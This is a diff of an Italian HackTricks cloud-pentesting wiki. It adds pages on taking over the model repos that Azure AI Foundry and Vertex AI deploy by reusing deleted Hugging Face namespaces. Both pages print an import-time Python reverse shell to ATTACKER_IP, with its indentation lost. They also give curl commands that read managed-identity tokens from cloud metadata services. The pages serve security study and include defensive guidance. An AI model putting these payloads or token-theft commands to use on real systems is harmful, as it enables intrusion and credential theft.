Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

src/pentesting-cloud/azure-security/az-post-exploitation/README.md

@@ -1,3 +1,9 @@
 # Az - Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+az-azure-ai-foundry-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md

@@ -0,0 +1,94 @@
+# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Scenario
+
+- Il Model Catalog di Azure AI Foundry include molti modelli Hugging Face (HF) per il deployment con un click.
+- Gli identificatori dei modelli HF sono Author/ModelName. Se un author/org HF viene cancellato, chiunque può re-registrare quell'author e pubblicare un modello con lo stesso ModelName allo stesso legacy path.
+- Pipeline e catalog che risolvono solo per nome (no commit pinning/integrity) risolveranno su repo controllati dall'attaccante. Quando Azure deploya il modello, il loader code può eseguire nell'ambiente dell'endpoint, concedendo RCE con i permessi di quell'endpoint.
+
+Casi comuni di takeover HF:
+- Ownership deletion: il vecchio path risponde 404 fino al takeover.
+- Ownership transfer: il vecchio path risponde 307 verso il nuovo author mentre il vecchio author esiste. Se il vecchio author viene poi cancellato e re-registrato, il redirect si rompe e il repo dell'attaccante viene servito al legacy path.
+
+## Identifying Reusable Namespaces (HF)
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
+
+# Check model path
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 -> redirect (transfer case), 404 -> deleted until takeover
+```
+## Flusso d'attacco end-to-end contro Azure AI Foundry
+
+1) Nel Model Catalog, trova HF models i cui autori originali sono stati cancellati o trasferiti (autore originale rimosso) su HF.
+2) Re-registrare l'autore abbandonato su HF e ricreare il ModelName.
+3) Pubblica un repo maligno con codice loader che viene eseguito all'import o richiede trust_remote_code=True.
+4) Effettua il deploy del legacy Author/ModelName da Azure AI Foundry. La piattaforma scarica il repo dell'attaccante; il loader viene eseguito all'interno del container/VM dell'endpoint Azure, ottenendo RCE con i permessi dell'endpoint.
+
+Esempio di frammento di payload eseguito all'import (solo a scopo dimostrativo):
+```python
+# __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images
+
+if os.environ.get("AZUREML_ENDPOINT","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+Note
+- Le implementazioni di AI Foundry che integrano HF tipicamente clonano e importano moduli del repo referenziati dalla config del modello (es., auto_map), il che può attivare code execution. Alcuni percorsi richiedono trust_remote_code=True.
+- L'accesso di solito corrisponde ai permessi della managed identity/service principal dell'endpoint. Consideralo come un initial access foothold per data access e lateral movement all'interno di Azure.
+
+## Post-Exploitation Tips (Azure Endpoint)
+
+- Enumerare variabili d'ambiente e MSI endpoints per tokens:
+```bash
+# Azure Instance Metadata Service (inside Azure compute)
+curl -H "Metadata: true" \
+"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+```
+- Controlla il mounted storage, i model artifacts e i servizi Azure raggiungibili con il token acquisito.
+- Considera la persistence lasciando poisoned model artifacts se la piattaforma re-pulls da HF.
+
+## Indicazioni difensive per gli utenti di Azure AI Foundry
+
+- Fissa i modelli per commit quando li carichi da HF:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- Eseguire il mirror dei modelli HF verificati in un registro interno attendibile e distribuirli da lì.
+- Scansionare continuamente codebase e defaults/docstrings/notebooks alla ricerca di hard-coded Author/ModelName che sono stati eliminati/trasferiti; aggiornare o pin.
+- Verificare l'esistenza dell'author e la provenienza del modello prima della distribuzione.
+
+## Euristiche di riconoscimento (HTTP)
+
+- Author eliminato: author page 404; legacy model path 404 fino al takeover.
+- Modello trasferito: legacy path 307 verso il nuovo author mentre il vecchio author esiste; se il vecchio author viene poi eliminato e re-registrato, il legacy path serve attacker content.
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## Riferimenti incrociati
+
+- Vedi la metodologia più ampia e le note sulla catena di approvvigionamento:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## Riferimenti
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md

@@ -1,3 +1,9 @@
 # GCP - Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+gcp-vertex-ai-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md

@@ -0,0 +1,113 @@
+# GCP - Post-Exploitation di Vertex AI tramite riutilizzo del namespace dei modelli di Hugging Face
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Scenario
+
+- Vertex AI Model Garden permette il deploy diretto di molti modelli di Hugging Face (HF).
+- Gli identificatori dei modelli HF sono Author/ModelName. Se un author/org su HF viene eliminato, lo stesso nome author può essere ri-registrato da chiunque. Gli attacker possono quindi creare un repo con lo stesso ModelName sul percorso legacy.
+- Pipelines, SDKs o cataloghi cloud che effettuano il fetch solo per nome (no pinning/integrity) scaricheranno il repo controllato dall'attacker. Quando il modello viene deployato, il loader code di quel repo può essere eseguito all'interno del container dell'endpoint Vertex AI, ottenendo RCE con i permessi dell'endpoint.
+
+Due casi comuni di takeover su HF:
+- Ownership deletion: il vecchio percorso restituisce 404 fino a quando qualcuno ri-registrerà l'author e pubblicherà lo stesso ModelName.
+- Ownership transfer: HF emette 307 redirect dal vecchio Author/ModelName al nuovo author. Se il vecchio author viene poi eliminato e ri-registrato da un attacker, la catena di redirect viene interrotta e il repo dell'attacker viene servito al percorso legacy.
+
+## Identificare namespace riutilizzabili (HF)
+
+- Autore eliminato: la pagina dell'author restituisce 404; il percorso del modello potrebbe restituire 404 fino al takeover.
+- Modelli trasferiti: il vecchio percorso del modello emette 307 verso il nuovo owner mentre il vecchio author esiste. Se il vecchio author viene poi eliminato e ri-registrato, il percorso legacy risolverà verso il repo dell'attacker.
+
+Controlli rapidi con curl:
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>
+# 200 = exists, 404 = deleted/available
+
+# Check old model path behavior
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 = redirect to new owner (transfer case)
+# 404 = missing (deletion case) until someone re-registers
+```
+## Flusso di attacco end-to-end contro Vertex AI
+
+1) Scoprire namespace di modelli riutilizzabili che Model Garden elenca come deployable:
+- Trovare modelli HF in Vertex AI Model Garden che mostrano ancora “verified deployable”.
+- Verificare su HF se l'autore originale è stato cancellato o se il modello è stato trasferito e il vecchio author è stato rimosso in seguito.
+
+2) Re-registrare l'Author cancellato su HF e ricreare lo stesso ModelName.
+
+3) Pubblicare un repo maligno. Includere codice che venga eseguito al model load. Esempi che vengono comunemente eseguiti durante il caricamento del modello in HF:
+- Effetti collaterali in __init__.py del repo
+- Custom modeling_*.py o codice di processing referenziato da config/auto_map
+- Percorsi di codice che richiedono trust_remote_code=True in Transformers pipelines
+
+4) Una deployment di Vertex AI del legacy Author/ModelName ora esegue il pull del repo dell'attaccante. Il loader viene eseguito all'interno del container dell'endpoint di Vertex AI.
+
+5) Il payload stabilisce accesso dall'ambiente dell'endpoint (RCE) con i permessi dell'endpoint.
+
+Esempio di frammento di payload eseguito all'import (solo a scopo dimostrativo):
+```python
+# Place in __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...
+
+if os.environ.get("VTX_AI","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+Note
+- I loader reali variano. Molte integrazioni Vertex AI HF clonano e importano moduli del repo referenziati dalla config del modello (es., auto_map), il che può triggerare esecuzione di codice. Alcuni utilizzi richiedono trust_remote_code=True.
+- L'endpoint tipicamente gira in un container dedicato con ambito limitato, ma rappresenta un valido foothold iniziale per l'accesso ai dati e il movimento laterale in GCP.
+
+## Post-Exploitation Tips (Vertex AI Endpoint)
+
+Una volta che il codice è in esecuzione all'interno del container dell'endpoint, considera:
+- Enumerare le variabili d'ambiente e i metadata per credenziali/token
+- Accedere allo storage allegato o agli artefatti del modello montati
+- Interagire con le Google API tramite l'identità dell'account di servizio (Document AI, Storage, Pub/Sub, etc.)
+- Persistenza nell'artefatto del modello se la piattaforma ri-pulla il repo
+
+Enumerare i metadata dell'istanza se accessibili (dipende dal container):
+```bash
+curl -H "Metadata-Flavor: Google" \
+http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+## Linee guida difensive per gli utenti di Vertex AI
+
+- Bloccare i modelli per commit in HF loaders per prevenire la sostituzione silenziosa:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- Rispecchiare i modelli HF verificati in un artifact store/registry interno attendibile e distribuirli da lì.
+- Eseguire scansioni continue di codebase e config per Author/ModelName hard-coded che siano stati cancellati/trasferiti; aggiornare ai nuovi namespace o effettuare pin tramite commit.
+- In Model Garden, verificare la provenienza del modello e l'esistenza dell'author prima del deployment.
+
+## Euristiche di riconoscimento (HTTP)
+
+- Deleted author: author page 404; legacy model path 404 until takeover.
+- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## Riferimenti incrociati
+
+- Vedi metodologia più ampia e note sulla catena di fornitura:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## Riferimenti
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/pentesting-cloud-methodology.md

@@ -4,41 +4,41 @@
 
 <figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
 
-## Metodologia di Base
+## Metodologia di base
 
-Ogni cloud ha le proprie peculiarità, ma in generale ci sono alcune **cose comuni che un pentester dovrebbe controllare** quando testa un ambiente cloud:
+Ogni cloud ha le sue peculiarità ma in generale ci sono alcune **cose comuni che un pentester dovrebbe verificare** quando testa un ambiente cloud:
 
-- **Controlli di benchmark**
-- Questo ti aiuterà a **comprendere la dimensione** dell'ambiente e i **servizi utilizzati**
-- Ti permetterà anche di trovare alcune **misconfigurazioni rapide** poiché puoi eseguire la maggior parte di questi test con **strumenti automatizzati**
-- **Enumerazione dei servizi**
-- Probabilmente non troverai molte altre misconfigurazioni qui se hai eseguito correttamente i test di benchmark, ma potresti trovare alcune che non erano state cercate nel test di benchmark.
-- Questo ti permetterà di sapere **cosa viene esattamente utilizzato** nell'ambiente cloud
+- **Benchmark checks**
+- Questo ti aiuterà a **capire le dimensioni** dell'ambiente e i **servizi utilizzati**
+- Ti permetterà anche di trovare alcune **misconfigurazioni rapide** dato che puoi eseguire la maggior parte di questi test con **tool automatici**
+- **Services Enumeration**
+- Probabilmente non troverai molte altre misconfigurazioni qui se hai eseguito correttamente i test di benchmark, ma potresti trovare alcune che non sono state cercate durante il benchmark.
+- Questo ti permetterà di sapere **cosa viene esattamente usato** nell'ambiente cloud
 - Questo aiuterà molto nei passaggi successivi
-- **Controlla le risorse esposte**
-- Questo può essere fatto durante la sezione precedente, devi **scoprire tutto ciò che è potenzialmente esposto** a Internet in qualche modo e come può essere accessibile.
-- Qui sto considerando **infrastrutture esposte manualmente** come istanze con pagine web o altre porte esposte, e anche altri **servizi gestiti dal cloud che possono essere configurati** per essere esposti (come DB o bucket)
-- Poi dovresti controllare **se quella risorsa può essere esposta o meno** (informazioni riservate? vulnerabilità? misconfigurazioni nel servizio esposto?)
-- **Controlla i permessi**
-- Qui dovresti **scoprire tutti i permessi di ciascun ruolo/utente** all'interno del cloud e come vengono utilizzati
-- Troppi account **altamente privilegiati** (controllano tutto)? Chiavi generate non utilizzate?... La maggior parte di questi controlli dovrebbe già essere stata effettuata nei test di benchmark
-- Se il cliente sta utilizzando OpenID o SAML o altra **federazione**, potresti dover chiedere ulteriori **informazioni** su **come viene assegnato ciascun ruolo** (non è la stessa cosa se il ruolo di admin è assegnato a 1 utente o a 100)
-- Non è **sufficiente trovare** quali utenti hanno permessi **admin** "\*:\*". Ci sono molti **altri permessi** che a seconda dei servizi utilizzati possono essere molto **sensibili**.
-- Inoltre, ci sono **potenziali vie di privesc** da seguire abusando dei permessi. Tutte queste cose dovrebbero essere prese in considerazione e **dovrebbero essere segnalati il maggior numero possibile di percorsi privesc**.
-- **Controlla le integrazioni**
-- È altamente probabile che **integrazioni con altri cloud o SaaS** siano utilizzate all'interno dell'ambiente cloud.
-- Per le **integrazioni del cloud che stai auditando** con altre piattaforme, dovresti notificare **chi ha accesso per (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione che viene eseguita.\
-Ad esempio, chi può scrivere in un bucket AWS da cui GCP sta estraendo dati (chiedi quanto è sensibile l'azione in GCP trattando quei dati).
-- Per le **integrazioni all'interno del cloud che stai auditando** da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente per (ab)usare quell'integrazione** e controllare come vengono utilizzati quei dati.\
-Ad esempio, se un servizio sta utilizzando un'immagine Docker ospitata in GCR, dovresti chiedere chi ha accesso a modificarla e quali informazioni sensibili e accesso avrà quell'immagine quando viene eseguita all'interno di un cloud AWS.
+- **Check exposed assets**
+- Questo può essere fatto durante la sezione precedente, devi **scoprire tutto ciò che è potenzialmente esposto** a Internet in qualche modo e come può essere accesso.
+- Qui intendo **infrastruttura esposta manualmente** come istanze con pagine web o altre porte esposte, e anche altri **servizi gestiti cloud che possono essere configurati** per essere esposti (come DBs o buckets)
+- Poi dovresti verificare **se quella risorsa può essere esposta o no** (informazioni confidenziali? vulnerabilità? misconfigurazioni nel servizio esposto?)
+- **Check permissions**
+- Qui dovresti **scoprire tutti i permessi di ogni ruolo/utente** all'interno del cloud e come vengono usati
+- Troppi account **con privilegi elevati** (controllano tutto)? Chiavi generate non usate?... La maggior parte di questi controlli dovrebbe essere già stata fatta nei test di benchmark
+- Se il cliente usa OpenID o SAML o altra **federation** potresti aver bisogno di chiedere ulteriori **informazioni** su **come viene assegnato ogni ruolo** (non è lo stesso che il ruolo admin sia assegnato a 1 utente o a 100)
+- Non è **sufficiente trovare** quali utenti hanno permessi **admin** "\*:\*". Ci sono molti **altri permessi** che a seconda dei servizi usati possono essere molto **sensibili**.
+- Inoltre, ci sono **potenziali privesc** da seguire abusando dei permessi. Tutte queste cose devono essere prese in considerazione e **quanti più percorsi di privesc possibile** dovrebbero essere riportati.
+- **Check Integrations**
+- È altamente probabile che **integrazioni con altri cloud o SaaS** siano usate all'interno dell'ambiente cloud.
+- Per **integrazioni del cloud che stai auditando** con altre piattaforme dovresti notificare **chi ha accesso a (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione eseguita.\
+Per esempio, chi può scrivere in un bucket AWS da cui GCP sta ottenendo dati (chiedi quanto è sensibile l'azione in GCP trattando quei dati).
+- Per **integrazioni dentro il cloud che stai auditando** provenienti da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente a (ab)usare quell'integrazione** e verificare come vengono usati quei dati.\
+Per esempio, se un servizio usa un'immagine Docker ospitata in GCR, dovresti chiedere chi ha accesso a modificarla e quali informazioni sensibili e accessi quella immagine otterrà quando eseguita dentro una cloud AWS.
 
-## Strumenti Multi-Cloud
+## Multi-Cloud tools
 
-Ci sono diversi strumenti che possono essere utilizzati per testare diversi ambienti cloud. I passaggi di installazione e i link saranno indicati in questa sezione.
+Ci sono diversi tool che possono essere usati per testare differenti ambienti cloud. I passi di installazione e i link verranno indicati in questa sezione.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-Uno strumento per **identificare cattive configurazioni e percorsi di privesc nei cloud e tra cloud/SaaS.**
+Uno strumento per **identificare cattive configurazioni e privesc path nei cloud e tra cloud/SaaS.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -91,7 +91,7 @@ prowler <provider> --list-services
 AWS, Azure, Github, Google, Oracle, Alibaba
 
 {{#tabs }}
-{{#tab name="Installa" }}
+{{#tab name="Install" }}
 ```bash
 # Install
 git clone https://github.com/aquasecurity/cloudsploit.git
@@ -168,9 +168,9 @@ steampipe check all
 ```
 <details>
 
-<summary>Controlla tutti i progetti</summary>
+<summary>Verifica tutti i progetti</summary>
 
-Per controllare tutti i progetti, è necessario generare il file `gcp.spc` indicando tutti i progetti da testare. Puoi semplicemente seguire le indicazioni dello script seguente.
+Per verificare tutti i progetti è necessario generare il file `gcp.spc` che indica tutti i progetti da testare. Puoi semplicemente seguire le indicazioni dello script seguente
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Per controllare **altri approfondimenti GCP** (utili per enumerare i servizi) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Per verificare **altri insight GCP** (utile per enumerare i servizi) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
 Per controllare il codice Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Per controllare il codice Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+Per verificare il codice Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-Altri plugin AWS di Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+Altri plugin AWS per Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-Richiede python2.7 e sembra non essere mantenuto.
+Richiede python2.7 e sembra non essere più mantenuto.
 
 ### Nessus
 
-Nessus ha una scansione _**Audit Cloud Infrastructure**_ che supporta: AWS, Azure, Office 365, Rackspace, Salesforce. Alcune configurazioni extra in **Azure** sono necessarie per ottenere un **Client Id**.
+Nessus dispone di una scansione _**Audit Cloud Infrastructure**_ che supporta: AWS, Azure, Office 365, Rackspace, Salesforce. Sono necessarie alcune configurazioni aggiuntive in **Azure** per ottenere un **Client Id**.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist è uno strumento **multi-cloud per ottenere Assets** (Nomi host, Indirizzi IP) dai fornitori di cloud.
+Cloudlist è uno **strumento multi-cloud per ottenere Assets** (Hostnames, IP Addresses) dai Cloud Providers.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography è uno strumento Python che consolida le risorse infrastrutturali e le relazioni tra di esse in una vista grafica intuitiva alimentata da un database Neo4j.
+Cartography è uno strumento Python che consolida le risorse dell'infrastruttura e le relazioni tra di esse in una visualizzazione grafica intuitiva alimentata da un database Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase raccoglie asset e relazioni da servizi e sistemi, inclusa l'infrastruttura cloud, applicazioni SaaS, controlli di sicurezza e altro, in una vista grafica intuitiva supportata dal database Neo4j.
+Starbase raccoglie asset e relazioni da servizi e sistemi, tra cui infrastrutture cloud, applicazioni SaaS, controlli di sicurezza e altro, in una visualizzazione a grafo intuitiva supportata dal database Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Scopri gli utenti più privilegiati nell'ambiente AWS o Azure scansionato, inclusi gli AWS Shadow Admins. Utilizza PowerShell.
+Scopri gli utenti più privilegiati nell'ambiente AWS o Azure scansionato, inclusi gli AWS Shadow Admins. Usa powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Uno strumento per trovare l'infrastruttura, i file e le app di un'azienda (obiettivo) sui principali fornitori di cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+Uno strumento per trovare l'infrastruttura di una company (target), file e app sui principali provider cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox è uno strumento per trovare percorsi di attacco sfruttabili nell'infrastruttura cloud (attualmente supportato solo AWS e Azure, con GCP in arrivo).
-- È uno strumento di enumerazione che è destinato a completare il pentesting manuale.
+- CloudFox è uno strumento per trovare exploitable attack paths nell'infrastructure cloud (attualmente supportati solo AWS & Azure con GCP in arrivo).
+- È uno strumento di enumerazione pensato per complementare il pentesting manuale.
 - Non crea né modifica alcun dato all'interno dell'ambiente cloud.
 
-### Altre liste di strumenti di sicurezza cloud
+### More lists of cloud security tools
 
 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -410,12 +410,13 @@ aws-security/
 azure-security/
 {{#endref}}
 
-### Attack Graph
+### Grafo di attacco
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “grafico di attacco” delle risorse in un abbonamento Azure. Consente ai team rossi e ai pentester di visualizzare la superficie di attacco e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi difensori per orientarsi rapidamente e dare priorità al lavoro di risposta agli incidenti.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “attack graph” delle risorse in una Azure subscription. Permette a red teams e pentesters di visualizzare l'attack surface e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi defender per orientare e prioritizzare rapidamente l'incident response.
 
 ### Office365
 
-Hai bisogno di **Global Admin** o almeno di **Global Admin Reader** (ma nota che Global Admin Reader è un po' limitato). Tuttavia, queste limitazioni appaiono in alcuni moduli PS e possono essere aggirate accedendo alle funzionalità **tramite l'applicazione web**.
+Hai bisogno di **Global Admin** o almeno di **Global Admin Reader** (nota che Global Admin Reader è un po' limitato). Tuttavia, queste limitazioni compaiono in alcuni PS modules e possono essere bypassate accedendo alle funzionalità tramite l'applicazione web.
+
 
 {{#include ../banners/hacktricks-training.md}}